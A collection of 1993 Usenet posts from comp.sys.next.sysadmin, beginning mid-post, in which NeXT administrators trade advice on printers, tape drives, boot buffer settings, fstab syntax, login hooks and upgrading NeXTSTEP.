occasion, or if they are there when the machine locks up, then... -- => Sherwood Botsford sherwood@space.ualberta.ca <= => University of Alberta Lab Manager, Space Physics Group <= => tel:403 492-3713 fax: 403 492-4256 <=
From: danno@css.itd.umich.edu (Dan Pritts) Newsgroups: comp.sys.next.sysadmin Subject: Re: Printer connected via TCPIP...How? Date: 2 Mar 1993 02:23:23 GMT Organization: University of Michigan ITD Consulting and Support Services Message-ID: <1mugerINNldr@stimpy.css.itd.umich.edu> References: <1993Feb26.170803.64575@cc.usu.edu> In article <1993Feb26.170803.64575@cc.usu.edu> slv0y@cc.usu.edu writes: >I am getting ready to add a NewGen Turbo PS/1200T Laser printer to our network. >I know how to set up the printer via the serial port, but this printer also has >an ethernet connector. I would like to have the printer on the network via >ethernet, but I can't seem to find any mention in the docs on how to accomplish >this. if the printer supports appletalk (ie, it's "mac-compatible") you should be able to enable printing to it if you install 3.0's appletalk package. danno -- dan pritts consultant/system administrator dan.pritts@umich.edu um itd/css unix support group 313/998-6265
From: danno@css.itd.umich.edu (Dan Pritts) Newsgroups: comp.sys.next.sysadmin Subject: Re: Upgrading 1.0->3.0 Date: 2 Mar 1993 02:25:45 GMT Organization: University of Michigan ITD Consulting and Support Services Message-ID: <1mugj9INNlfb@stimpy.css.itd.umich.edu> References: <1993Feb26.230451.1813@cs.ucla.edu> In article <1993Feb26.230451.1813@cs.ucla.edu> geoff@ficus.cs.ucla.edu (Geoffrey Kuenning) writes: >A friend has a 1.0 system and wants to upgrade to 3.0. I gave him an >OD with the contents of the Upgradeprep floppy, but Upgradeprep won't >run because it needs a shared library. So we tried copying sdmach you could just make a duplicate of the "CD-ROM Tools" diskette that comes with the 3.0 cd (onto an OD) and have him boot from that. It'll then look for the CD drive on the SCSI bus and boot from it. danno -- dan pritts consultant/system administrator dan.pritts@umich.edu um itd/css unix support group 313/998-6265
From: tisue@athens.uchicago.edu (Seth Tisue) Newsgroups: comp.sys.next.sysadmin Subject: Re: /usr/ucb/Mail: keeping outgoing messages Message-ID: <1993Mar1.191910.10970@midway.uchicago.edu> Date: 1 Mar 93 19:19:10 GMT References: <1993Mar1.063643.19498@midway.uchicago.edu> Sender: news@uchinews.uchicago.edu (News System) Organization: Plaster Cramp Press In article <1993Mar1.063643.19498@midway.uchicago.edu> tisue@athens.uchicago.edu (Seth Tisue) writes: >A user has reported the following problem. According to >the man pages for /usr/ucb/Mail, you can add a line like this: > > set record /Users/tisue/outgoing Oops. I have been informed there needs to be an equal sign between the variable and the pathname. Sorry about the stupid question... (The user said the "same thing" worked on a Sun account... I'm guessing either he had the equal sign on his Sun .mailrc, or else the Sun version of mail supplies a default pathname if you don't specify one, which is what the above does, i.e., it sets record but doesn't give it a value.) -- == Seth Tisue (s-tisue@uchicago.edu) "Beware of the wise/ Beware of the wise/ Lies, lies, lies" - Fred Frith "Devote your life to a lost cause" - Jandek
From: bradshaw@thelma.hq.af.mil (Michelle A. Bradshaw) Newsgroups: comp.sys.next.sysadmin Subject: /usr/bin/cut and /usr/bin/paste Message-ID: <18299@hq.hq.af.mil> Date: 1 Mar 93 18:14:30 GMT Sender: news@Pt.hq.af.mil Help! I can't get cut and paste to compile on my machine. Can someone tell me, step by step, how to get these valuable UNIX shell commands working on a NeXT. Does anyone know why they weren't included in the first place? Thanks! -- -- Michelle A. Bradshaw HQ USAF LAN Configuration Management -- bradshaw@thelma.hq.af.mil (NeXT OK) (703)695-5060 DSN 225-5060 -- Anybody who has an identity problem had better wise up and get -- with the program! Jack Handey
From: herzog@ux5.lbl.gov (Hanan Herzog) Newsgroups: comp.sys.next,comp.sys.next.sysadmin,comp.sys.next.misc Subject: Need tape drive recommendations Followup-To: comp.sys.next Date: 2 Mar 1993 03:52:26 GMT Organization: Lawrence Berkeley Laboratory Distribution: world Message-ID: <1mullqINNt75@overload.lbl.gov> Keywords: hardware, tape, backup I am looking for a good tape drive to connect to a NeXTCube Please reply by e-mail. Thanks in advance, Hanan Herzog herzog@lbl.gov
From: herzog@ux5.lbl.gov (Hanan Herzog) Newsgroups: comp.sys.next,comp.sys.next.sysadmin,comp.sys.next.misc Subject: Need tape drive recommendations Followup-To: comp.sys.next Date: 2 Mar 1993 04:16:50 GMT Organization: Lawrence Berkeley Laboratory Distribution: world Message-ID: <1mun3iINN51@overload.lbl.gov> Keywords: hardware, tape, backup I am looking for a good tape drive to connect to a NeXTCube Please reply by e-mail. Thanks in advance, Hanan Herzog (herzog@lbl.gov)
From: herzog@ux5.lbl.gov (Hanan Herzog) Newsgroups: comp.sys.next,comp.sys.next.sysadmin,comp.sys.next.misc Subject: Need tape drive recommendations Followup-To: comp.sys.next Date: 2 Mar 1993 04:23:46 GMT Organization: Lawrence Berkeley Laboratory, Berkeley CA Distribution: world Message-ID: <1mungiINN5g@overload.lbl.gov> Keywords: hardware, tape, backup Hi, I am looking for a good tape drive to connect to a NeXTCube running release 3.0. Currently we have about 500MB that we would like to backup periodically. I have no experience shopping for tape hardware, and I would like some suggestions of good brand names and things to look for and watch out for. Price ranges for certain specifications would also be useful. Phone numbers and addresses of suppliers would also be appreciated. Please reply by e-mail. Thanks in advance, Hanan Herzog (herzog@lbl.gov) Lawrence Berkeley Laboratory
From: louie@sayshell.umd.edu (Louis A. Mamakos) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer Subject: Re: Please help: SCSI timeout Date: 2 Mar 1993 13:54:27 GMT Organization: The University of Maryland, College Park Message-ID: <1mvoujINNrld@ni.umd.edu> References: <C2tpp2.16I@news.cis.umn.edu> <1993Mar2.013653.21154@kakwa.ucs.ualberta.ca> In article <1993Mar2.013653.21154@kakwa.ucs.ualberta.ca> sherwood@space.ualberta.ca (System Administrator) writes: >5 is illegal request. Check your manual. It may be that the Python >doesn't support disconnect/reconnect, or that a jumper has to be set. The Archive Python does support disconnect/reconnect. If it did, it would just hang on to the bus and not cause an illegal request error. >: >: 2. Is it reasonable for a SCSI peripheral to be unable to keep up? >: >Yup. If it's buffer is full, or if it's doing something like moveing >the tape, it won't respond. Next's tape drivers are a tad flakey. My >backup script (written in perl) goes to unreal lengths to try to work >around all the various ways things can go wrong. This isn't strictly true. There are two cases to consider: the first is when the transfer rate of the I/O device is slower than the rate at which the data is produced or consumed. In that case, the drive will disconnect until the I/O has completed. The SCSI tape driver on the next will have marked the device as "busy" with a pending command, and not issue any further commands until the pending one completes or it times out the command. The other case is when the device is busy doing *something*, but the operating system doesn't know about it. In that case, the SCSI device, will return a BUSY status indicating a command or whatever in progress. This really shouldn't be the case on the NeXT, since all the I/O goes through the SCSI driver and it would have known if the device is busy or not. ON exception to this that I've seen is when a disk drive is beginning to get flakey, and it decides to do a SCSI block replacement or recovery; it will return BUSY to the host while doing this. >It could also be that the python is expecting fixed block of 512, while >the next defaults to variable block. Then if the Next does a disconnect >at some odd point, the python may get confused. (Guessing) The Archive Python driver, of of the box, supports variable length blocks (as you'd expect and prefer), while the NeXT st tape driver defaults to fixed 512 byte blocks. If you were using dump or tar with a larger block size, you'd be more likely to get residual data error or something when reading a block larger than 512 bytes. The NeXT never performs the disconnect operation; it is up to the SCSI target device (disk, tape, etc) to disconnect when it knows it can't perform an operation "quickly". As far as your problem goes; I'd check to make sure that the SCSI devices are correctly terminated and that you don't have a problem with cables or connectors. I have an Archive Python and an external Fujutsu 660 MB disk in addition to the internal 100 MB disk on my NeXTStation, and its worked very reliably with dump/restore, tar (all of these requireing an external program to set the tape driver into variable length block mode), and SafeyNet (which sets the driver itself). Now I can't comment on other types of tape drivers (QIC, etc) and how well they work, but the DAT drive has worked very well for me. Louis Mamakos
From: bryan@kolsky.tamu.edu (Bryan Milligan) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware Subject: What is the max value for nbuf? Date: 2 Mar 1993 15:38:33 GMT Organization: Texas A&M University, College Station, TX Distribution: world Message-ID: <1mvv1pINNjkt@tamsun.tamu.edu> Keywords: nbuf, pot-bellied pigs I know this subject has probably come up a number of times, but what is the maximum value of nbuf that I can specify on bootup? Is there a way to make it default? I know the ROM monitor only allows twelve characters, but I use something like this bsd sdmach nbuf=xxx Just looking for a good use for 48MB of RAM. 8-) -- Bryan Milligan Voice: (409) 845-7541 Department of Aerospace Engineering Fax: (409) 845-6051 Texas A&M University bryan@kolsky.tamu.edu (NeXT Mail accepted)
From: bryan@kolsky.tamu.edu (Bryan Milligan) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware Subject: What is the max value for nbuf? Date: 2 Mar 1993 15:39:04 GMT Organization: Texas A&M University, College Station, TX Distribution: world Message-ID: <1mvv2oINNjla@tamsun.tamu.edu> Keywords: nbuf, pot-bellied pigs I know this subject has probably come up a number of times, but what is the maximum value of nbuf that I can specify on bootup? Is there a way to make it default? I know the ROM monitor only allows twelve characters, but I use something like this bsd sdmach nbuf=xxx Just looking for a good use for 48MB of RAM. 8-) -- Bryan Milligan Voice: (409) 845-7541 Department of Aerospace Engineering Fax: (409) 845-6051 Texas A&M University bryan@kolsky.tamu.edu (NeXT Mail accepted)
From: bryan@kolsky.tamu.edu (Bryan Milligan) Newsgroups: comp.sys.next.sysadmin Subject: What is the max value for nbuf? Date: 2 Mar 1993 15:39:25 GMT Organization: Texas A&M University, College Station, TX Distribution: world Message-ID: <1mvv3dINNjm1@tamsun.tamu.edu> Keywords: nbuf, pot-bellied pigs I know this subject has probably come up a number of times, but what is the maximum value of nbuf that I can specify on bootup? Is there a way to make it default? I know the ROM monitor only allows twelve characters, but I use something like this bsd sdmach nbuf=xxx Just looking for a good use for 48MB of RAM. 8-) -- Bryan Milligan Voice: (409) 845-7541 Department of Aerospace Engineering Fax: (409) 845-6051 Texas A&M University bryan@kolsky.tamu.edu (NeXT Mail accepted)
Newsgroups: comp.sys.next.sysadmin From: cedman@princeton.edu (Carl Edman) Subject: Re: Executor-why must I be root? In-Reply-To: schwarze@delphi.nosc.mil's message of Mon, 1 Mar 1993 17:11:20 GMT To: schwarze@delphi.nosc.mil (David Schwarze) Message-ID: <CEDMAN.93Mar1183456@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <1993Mar1.171120.13158@nosc.mil> Date: Mon, 1 Mar 1993 22:34:56 GMT In article <1993Mar1.171120.13158@nosc.mil> schwarze@delphi.nosc.mil (David Schwarze) writes: I just downloaded the demo of Executor, but it says I must be root to install it. I am worried by this. Does anyone know why root privledge is required? Has anyone downloaded and used this demo? This machine is used by several people and I don't want to hose it up or introduce any kind of virus onto it. While only a fool would give a clean bill of health to a piece of software he hasn't written himself or at least has access to the source code, Executor.app is IMHO a reasonable risk for two reasons. 1. The authors of Executor have been around for some years. People have their names, addresses and even their email addresses (and they even reply to email). They are nice people and I don't think they'd write a virus. They also aren't as stupid as to write a virus which can easily be traced to them. 2. There is a valid technical reason for Executor to be able to have and run a SUID program. To be specific, some old Mac programs modify themselves which is bad programming practice but works on 68000 machines. The more advanced members of the 680x0 family use caching extensively to speed up processes which wreaks havoc on self-modifying code. So to run these Mac apps the cache must be turned off. But no unprivileged user level UN*X program can turn the cache off (after all, why would anyone want to ?). Strictly speaking, even a root owned user level program can't, but a kernel driver can and a SUID root program can install a kernel driver. So that is why Executor needs to run as root at least once. Completely confused now ? Carl Edman
Newsgroups: comp.sys.next.sysadmin From: hogan@boetius.rz-berlin.mpg.de (Kharim Hogan) Subject: Re: LaserJet Printing Troubles Message-ID: <1993Mar2.162644.14306@thunder.mcrcim.mcgill.edu> Keywords: laserjet print serial help Sender: news@thunder.mcrcim.mcgill.edu Organization: Los Alamos National Laboratory, NM References: <1993Feb26.220933.6218@eecs.nwu.edu> Date: Tue, 2 Mar 93 16:26:44 GMT In article <1993Feb26.220933.6218@eecs.nwu.edu> bogdan@eecs.nwu.edu (Bogdan Vacaliuc) writes: >Hello, > > I have been trying to connect a HP LaserJet (4) printer to our NeXT network >of two machines for about a week now. Originally we had hoped to use the >LocalTalk port on the HP. (It has a parallel,serial,and LocalTalk port). >Anyway, we left that since LocalTalk uses differential RXD and TXD lines. > > Moving on to the obvious serial line connection, I followed the pin- >diagrams given in the NeXT documentation and constructed a cable. (There are >a number of conflicting descriptions around - I've tried them all!) Anyway, >at this point we have a cable from NeXTConnection and one that I think >should work based on what HP says the serial port pinouts are. (RS-232C) > > Anyway, I've setup NetInfo with a number of parameters to setup the serial >port properly. I've tried the LaserWriter parameters (suggested by >NeXTConnection), I've tried my own settings based on my understanding of >what the printer would expect on the serial line. The two refuse to >speak to each other no matter what I've tried. Lpd starts up and spawns >processes when files are spooled. Lpq reports the printer is not responding. > > What I'm hoping is that someone out there is happily printing on a >HP LaserJet via a serial port. I would very much like to know what are your >NetInfo parameters (the printcap database), and what are the connections on >your serial cable (test with an ohm-meter?). Essentially what you did to >get the system functional. > > Some people have talked about drivers being necessary. I'm not inclined >to beleive this because I can't even get a simple connection running to print >basic TEXT files from the command line of the terminal. Even so, the HPLJ4 >autodetects PostScript Level II. > > If someone out there has this information, I would really appreciate >the time spent on a reply. > > Thanks again! > >-bogdan >(bogdan@eecs.nwu.edu) >(708) 864-9176 Home >(708) 491-1165 Work Hi, Here's what I did...at sonata (don't remember which directory, maybe submissions) there are PPD files for the LJ4. Download these and place them in /usr/lib/NextPrinter/pdf just as they are. Then the LJ4 will show up in PrintManager and allow you to configure the printer just like any other. Plug it into the printer's serial port and configure the Serial Menu on the printer to RS-232 and Baud Rate 9600. That's all I did and everything works fine. Hope this helps! Kharim -- ************************************************************************* Kharim M. Hogan Systems Administrator hogan@music.mcgill.ca Faculty of Music, McGill University *************************************************************************
Newsgroups: comp.sys.next.sysadmin From: dave@hyla.biosci.missouri.edu (Dave Zaloz) Subject: Help: Nextmail address wrong Message-ID: <1993Mar2.171242.10991@sbcs.sunysb.edu> Sender: usenet@sbcs.sunysb.edu (Usenet poster) Organization: Dept of Computer Science, State U of NY at Stony Brook Date: Tue, 2 Mar 1993 17:12:42 GMT Aloha. I've got what might be a simple problem to fix. My email address is dave@hyla.biosci.missouri.edu. When I send out mail the server send my address as dave@hyla.hyla.biosci.missouri.edu. As you can see an extra "hyla" is tacked on my address. Does anybody out there have any clues as to why this is occuring and how I can rectify it? Thanx Dave PS: If you send mail to me directly remember that my address is dave@hyla.biosci.missouri.edu.
From: sears@tree.egr.uh.edu (Paul S. Sears) Newsgroups: comp.sys.next.sysadmin Subject: Re: What is the max value for nbuf? Date: 2 Mar 1993 19:21:43 GMT Organization: University of Houston Distribution: world Message-ID: <1n0c47INNbq3@menudo.uh.edu> References: <1mvv3dINNjm1@tamsun.tamu.edu> In article <1mvv3dINNjm1@tamsun.tamu.edu> bryan@kolsky.tamu.edu (Bryan Milligan) writes: # I know this subject has probably come up a number of times, but #what is the maximum value of nbuf that I can specify on bootup? Is #there a way to make it default? I know the ROM monitor only allows #twelve characters, but I use something like this # bsd sdmach nbuf=xxx # # Just looking for a good use for 48MB of RAM. 8-) # #-- # #Bryan Milligan Voice: (409) 845-7541 #Department of Aerospace Engineering Fax: (409) 845-6051 #Texas A&M University #bryan@kolsky.tamu.edu #(NeXT Mail accepted) We use a value of 128, i.e, sdmach- nbu=128 (less than 12 characters!) This is 1M for buffers. Seems to have improved the performace of our servers noticably... -- Paul S. Sears * sears@uh.edu (NeXT Mail OK) The University of Houston * suggestions@tree.egr.uh.edu (NeXT Engineering Computing Center * comments, complaints, questions) NeXT System Administration * DoD#1967 '83 NightHawk 650SC >>> SSI Diving Certification #755020059 <<< "Programming is like sex: One mistake and you support it a lifetime."
Newsgroups: comp.sys.next.sysadmin From: o10035@nextphx.corp.mot.com (Jerry DeLuyck) Subject: Re: pcnfsd for the NeXT Organization: MOTOROLA Date: Tue, 2 Mar 1993 18:51:20 GMT Message-ID: <1993Mar2.185120.21972@schbbs.mot.com> References: <1993Feb26.211253.22916@midway.uchicago.edu> Sender: news@schbbs.mot.com (Net News) In article <1993Feb26.211253.22916@midway.uchicago.edu> sherlock@holmes.bsd.uchicago.edu (John R. Avery) writes: > In article <1993Feb25.164213.15398@schbbs.mot.com> > o10035@nextphx.corp.mot.com (Jerry DeLuyck) writes: > > Has anyone successfully compiled the rpc.pcnfsd (version 2) on the NeXT? > NS > > 3.0 ships with an rpc.pcnfsd, but alas it is version 1 which leaves out > a lot > > of features. > > I'm afraid that this will seem awfully ignorant but my curiosity has > got the better of me. First, I haven't heard of any version-2 of > rpc.pcnfsd on the NeXT. That aside, I don't understand why anyone would > need it for the NeXT. The only thing that occurs to me --about combining > NeXTs, PC/DOS software, and NFS-- is that, if one were to want to run DOS > application on a NeXT then one would use something like Insignia's SoftPC > for NeXT, and if one were to do that then --because SoftPC runs within > NeXTStep which is a superset of a version of unix that incluces NFS > capabilities-- one wouldn't need a separate NFS daemon for the DOS stuff > running on the NeXT. > Apparently (obviously?) I'm missing something, here. Can someone > please explain it to me? > Tx, mucho. rpc.pcnfsd is NOT for running DOS programs on the NeXT (or any other UNIX box for that matter). The reason for rpc.pcnfsd is to allow PCs to NFS mount exported UNIX directories. Additionally, it allows PCs to print to UNIX type printers.
Newsgroups: comp.sys.next.sysadmin From: o10035@nextphx.corp.mot.com (Jerry DeLuyck) Subject: Re: Printer connected via TCPIP...How? Organization: MOTOROLA Date: Tue, 2 Mar 1993 19:00:43 GMT Message-ID: <1993Mar2.190043.22110@schbbs.mot.com> References: <1mugerINNldr@stimpy.css.itd.umich.edu> Sender: news@schbbs.mot.com (Net News) In article <1mugerINNldr@stimpy.css.itd.umich.edu> danno@css.itd.umich.edu (Dan Pritts) writes: > In article <1993Feb26.170803.64575@cc.usu.edu> slv0y@cc.usu.edu writes: > >I am getting ready to add a NewGen Turbo PS/1200T Laser printer to our network. > >I know how to set up the printer via the serial port, but this printer also has > >an ethernet connector. I would like to have the printer on the network via > >ethernet, but I can't seem to find any mention in the docs on how to accomplish > >this. > > if the printer supports appletalk (ie, it's "mac-compatible") > you should be able to enable printing to it if you install 3.0's > appletalk package. That is if you're lucky enough to get the AppleTalk to work with the printer. I have some 10 Apple LaserWriter printers connected to my EtherTalk network. The NeXT will only print reliably to one of them!
Newsgroups: comp.sys.next.sysadmin From: marcel@nice.usergroup.ethz.ch (Marcel Waldvogel) Subject: Re: How to suppress console logins? Message-ID: <1993Mar2.212250.1387@bernina.ethz.ch> Sender: news@bernina.ethz.ch (USENET News System) Organization: NiCE - NeXT User Group, Zuerich References: <rich.730172873@pencil> <1993Mar2.012426.20652@kakwa.ucs.ualberta.ca> Date: Tue, 2 Mar 1993 21:22:50 GMT In article <1993Mar2.012426.20652@kakwa.ucs.ualberta.ca> sherwood@space.ualberta.ca (System Administrator) writes: >Rich Winkel (rich@pencil.cs.missouri.edu) wrote: >: The existence of /etc/nologin suffices to keep out telnet logins, but >: it has no effect on console logins. What to do? Why don't you 'dwrite loginwindow LoginHook /some/program' as root, when /some/program (optionally) prints out a nice banner containing a message why you can't login (e.g. a modified MOTD) and then returns an exit value != 0? -Marcel
From: nevai@mps.ohio-state.edu (Paul Nevai) Newsgroups: comp.sys.next.sysadmin Subject: TEST Date: 2 Mar 1993 23:52:59 GMT Organization: Department of Mathematics, The Ohio State University Sender: Paul Nevai Distribution: usa Message-ID: <1n0s0r$rso@zaphod.mps.ohio-state.edu> Originator: nevai@ops.mps.ohio-state.edu Just testing the newly installed Pnews...Paul Paul Nevai nevai@mps.ohio-state.edu Dept Math - Ohio State University 1-614-292-3317 (Office) Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
From: fasano@scarolina.cerfnet.com (Christopher G. Fasano) Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin Subject: Loadable Kernel Server Keywords: Kernel Message-ID: <1n0u18INNdgv@news.cerf.net> Date: 3 Mar 93 00:27:19 GMT Organization: CERFnet Hello, Has anyone out there actually written a loadable kernel server (for network applications like a protocol handler, or a packet sniffer. If you have-- HELP! Please contact me at fasano@scarolina.cerfnet.com Thanks in advance! Chris Fasano
From: fasano@scarolina.cerfnet.com (Christopher G. Fasano) Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin Subject: Loadable Kernel Server Keywords: Kernel Message-ID: <1n0u25INNdh1@news.cerf.net> Date: 3 Mar 93 00:27:49 GMT Organization: CERFnet Hello, Has anyone out there actually written a loadable kernel server (for network applications like a protocol handler, or a packet sniffer. If you have-- HELP! Please contact me at fasano@scarolina.cerfnet.com Thanks in advance! Chris Fasano
From: fasano@scarolina.cerfnet.com (Christopher G. Fasano) Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin Subject: Loadable Kernel Server Keywords: Kernel Message-ID: <1n0u2nINNdh4@news.cerf.net> Date: 3 Mar 93 00:28:07 GMT Organization: CERFnet Hello, Has anyone out there actually written a loadable kernel server (for network applications like a protocol handler, or a packet sniffer. If you have-- HELP! Please contact me at fasano@scarolina.cerfnet.com Thanks in advance! Chris Fasano
Newsgroups: comp.sys.next.sysadmin From: icf@rchland.vnet.ibm.com (Ira Frosch) Subject: Re: NeXT will not turn on!! Sender: news@rchland.ibm.com Message-ID: <1993Mar03.001655.23084@rchland.ibm.com> Date: Wed, 03 Mar 1993 00:16:55 GMT Disclaimer: This posting represents the poster's views, not necessarily those of IBM References: <ufessex.731002990@mcl> <C389vz.3FC@ux1.cso.uiuc.edu> Organization: IBM Rochester In article <C389vz.3FC@ux1.cso.uiuc.edu>, lemson@ux1.cso.uiuc.edu (David Lemson) writes: |> ufessex@mcl.ucsb.edu (Fabian E. Schonholz) writes: |> |> >It always happens when you have a buyer...argggggg!!! |> |> >Well, my machine does not want to turn on. I mean that I pressed the |> >power key and nothing happens. About an year ago I had the same problem, |> >but somehow it solved itself out!!! I tryed turning the machine on (notice |> >that I am not saying "booting" the machine) and nothing, so I let it seat |> >there for a while. Changed the plugs, etc...tryed...nothing. Got the plugs |> >again in the original set up and voila!!!! it came on an booted. Same way |> >now...but it has been a week or so since it has not come on and (I was also |> >sick with a cold and fever) and I got a buyer for it and would hate to sell |> >a machine that is not working properlly. I suspect the keyboard, but I am not |> >sure...ANY IDEAS!!!!! |> |> Perhaps the boot cmos has been corrupted. Try removing the battery, |> shorting the battery holder terminals, and replacing the battery |> (mind the positive and negative marks). Don't know what kind of box you have, but I had a similar problem last night. I've got a Color 'Station, and my roommate moved it from one room to another (looong story:-). Anyway, he reconnected it, but after connecting we couldn't power up. Turns out he put the connector that splits between the sound box and monitor (which normally goes on the slab) into the monitor, so we were sending "Turn the machine" keys to the monitor, which was already on. |> -- |> David Lemson (217) 244-1205 |> University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin |> Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson |> NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD Ira
Newsgroups: comp.sys.next.sysadmin From: wching@alice.music.yale.edu (William Ching) Subject: Re: Account file for network NeXT Printer Message-ID: <1993Mar3.042530.8436@cs.yale.edu> Sender: news@cs.yale.edu (Usenet News) Organization: Yale University, Department of Computer Science, New Haven, CT References: <C358CA.F67@ux1.cso.uiuc.edu> Date: Wed, 3 Mar 1993 04:25:30 GMT I am having the same problem. I have an AppleTalk laser printer that is defined in the the root NetInfo domain with the appropriate af= entry in the printer entry in /printers. I have verified that the file listed under af= does exist and that the lpd is appropriately privileged to write to it. However, I still can't get printer accounting to work. There's only one copy of the printer definition in the entire network. Thanks in advance for your help. WC In article <C358CA.F67@ux1.cso.uiuc.edu> lemson@ux1.cso.uiuc.edu (David Lemson) writes: > doug@foxtrot.ccmrc.ucsb.edu (Douglas Scott) writes: > >>[original post] > > Yes, it works successfully for me as follows: create the entry in > the printcap of the local domain on the printer host. (in the > Local_Printer entry) Then, touch the file that af= on that printer > host. Don't include an af= in any other netinfo entries for that > printer (in case you have it exported to /, in which case another > copy of it will be in the printcap for /, with the sharedAs name as > its 'name') > > > >[audio warning question deleted] ----------------------------------------------------------------------------- William Ching | wching@alice.music.yale.edu Yale University Department of Music | Center for Studies in Music Technology "To the insane the sane must seem insane"
From: daffy.ldp.com!rolfe (Rolfe Tessem) Newsgroups: comp.sys.next.sysadmin Subject: Need correct fstab syntax Date: 2 Mar 1993 15:14:17 -0500 Organization: Lucky Duck Productions, Inc. Sender: rolfe@daffy.ldp.com Distribution: world Message-ID: <1n0f6p$3j5@daffy.ldp.com> I am mounting a large external drive as /news/spool, and of course it works when I manually issue the mount command from the command line. I'd like to make this happen automagically at bootup, but I'm obviously not using the right fstab syntax. Here's what I thought it should be, but /dev/sd1a isn't recognized with this: /dev/sd0a / 4.3 rw,noquota,noauto 0 1 /dev/sd1a /news/spool 4.3 rw,noquota,noauto 0 2 (/dev/sd0a is the internal boot drive, of course, which works fine.) Can someone give me a clue? Rolfe -- Rolfe Tessem Lucky Duck Productions rolfe@ldp.com <NeXTMail OK> New York, NY 10014 rolfe@berkshire.ldp.com <weekend only> (212) 463-0029
Newsgroups: comp.sys.next.sysadmin From: M_Carling@BlueRose.com (M Carling) Subject: Re: NS 2.55? Message-ID: <1993Mar2.160349.11270@bluerose.com> Sender: m@bluerose.com Organization: Blue Rose Systems, Inc. References: <1mu4g4INNi9n@morrow.stanford.edu> Date: Tue, 2 Mar 1993 16:03:49 GMT In article <1mu4g4INNi9n@morrow.stanford.edu> root@lotka.Stanford.EDU (Operator) writes: >[problems with Upgrade.app] Don't use Upgrade.app if it is at all possible to use BuildDisk.app. Do a BuildDisk from an uncorrupted source e.g. CD-ROM. M Carling President, Bay Area NeXT Group
Newsgroups: comp.sys.next.sysadmin From: eps@futon.SFSU.EDU (Eric P. Scott) Subject: Re: Need correct fstab syntax Message-ID: <1993Mar3.111749.15667@csus.edu> Sender: news@csus.edu Organization: San Francisco State University References: <1n0f6p$3j5@daffy.ldp.com> Date: Wed, 3 Mar 1993 11:17:49 GMT In article <1n0f6p$3j5@daffy.ldp.com> rolfe@ldp.com (Rolfe Tessem) writes: >/dev/sd0a / 4.3 rw,noquota,noauto 0 1 >/dev/sd1a /news/spool 4.3 rw,noquota,noauto 0 2 ^^^^^^ remove >Can someone give me a clue? --> CLUE <-- "noauto" means DO NOT MOUNT. It's specified for / because the root is already mounted (how else would the system be able to read fstab?). -=EPS=-
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware From: cedman@princeton.edu (Carl Edman) Subject: Re: What is the max value for nbuf? In-Reply-To: bryan@kolsky.tamu.edu's message of 2 Mar 1993 15:39:04 GMT To: bryan@kolsky.tamu.edu (Bryan Milligan) Message-ID: <CEDMAN.93Mar2123420@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <1mvv2oINNjla@tamsun.tamu.edu> Date: Tue, 2 Mar 1993 16:34:20 GMT In article <1mvv2oINNjla@tamsun.tamu.edu> bryan@kolsky.tamu.edu (Bryan Milligan) writes: I know this subject has probably come up a number of times, but what is the maximum value of nbuf that I can specify on bootup? Is there a way to make it default? I know the ROM monitor only allows twelve characters, but I use something like this bsd sdmach nbuf=xxx Just looking for a good use for 48MB of RAM. 8-) Try configuring it like this: bsd- nbu=255. That works. Carl Edman
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware From: vrr@cbnewsj.cb.att.com (veenu.r.rashid) Subject: Re: What is the max value for nbuf? Organization: AT&T Date: Wed, 3 Mar 1993 18:17:20 GMT Message-ID: <1993Mar3.181720.432@cbnewsj.cb.att.com> References: <1mvv2oINNjla@tamsun.tamu.edu> <CEDMAN.93Mar2123420@capitalist.princeton.edu> In article <CEDMAN.93Mar2123420@capitalist.princeton.edu> cedman@princeton.edu (Carl Edman) writes: >In article <1mvv2oINNjla@tamsun.tamu.edu> bryan@kolsky.tamu.edu (Bryan Milligan) writes: > I know this subject has probably come up a number of times, but > what is the maximum value of nbuf that I can specify on bootup? Is > there a way to make it default? I know the ROM monitor only allows > twelve characters, but I use something like this > bsd sdmach nbuf=xxx > > Just looking for a good use for 48MB of RAM. 8-) > >Try configuring it like this: bsd- nbu=255. That works. > > Carl Edman Just to add my two bits - this does not work. I try: bsd- nbu=64 (11 chars) and I get a message: cannot boot: drive not found or something like this. (BTW: someone *please* email me the default configuration) I have tried resetting it via the 'p' command in the monitor to bsd, bsd sdmach, bsd(0,0,0), b sd(0,0,0) all to no avail. The machine refuses to boot by itself on startup now. However, typing 'bsd- nbu=64' as a command works fine, as does 'bsd sdmach nbuf=64' Thanks, Veenu
Control: cancel <1993Mar3.181720.432@cbnewsj.cb.att.com> Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware From: vrr@cbnewsj.cb.att.com (veenu.r.rashid) Subject: cmsg cancel <1993Mar3.181720.432@cbnewsj.cb.att.com> Organization: AT&T Date: Wed, 3 Mar 1993 18:48:41 GMT Message-ID: <1993Mar3.184841.1469@cbnewsj.cb.att.com> References: <1mvv2oINNjla@tamsun.tamu.edu> <CEDMAN.93Mar2123420@capitalist.princeton.edu> <1993Mar3.181720.432@cbnewsj.cb.att.com> Sender: vrr@cbnewsj.cb.att.com (veenu.r.rashid) <1993Mar3.181720.432@cbnewsj.cb.att.com> was cancelled from within rn.
From: berteig@skorpio.usask.ca (Mishkin Berteig) Newsgroups: comp.sys.next.sysadmin Subject: Icon.app Patch Date: 3 Mar 1993 20:07:37 GMT Organization: University of Saskatchewan, Saskatoon, Canada Sender: berteig@before.usask.ca (Mishkin Berteig) Message-ID: <1n3369INN8al@access.usask.ca> I was wondering if anyone out there knows what shared libraries need to be moved around and to where in order for the patched Icon.app to work under NS3.0? Please reply by e-mail. Thanks in advance... Mishkin Berteig berteig@before.usask.ca (NeXTMail accepted)
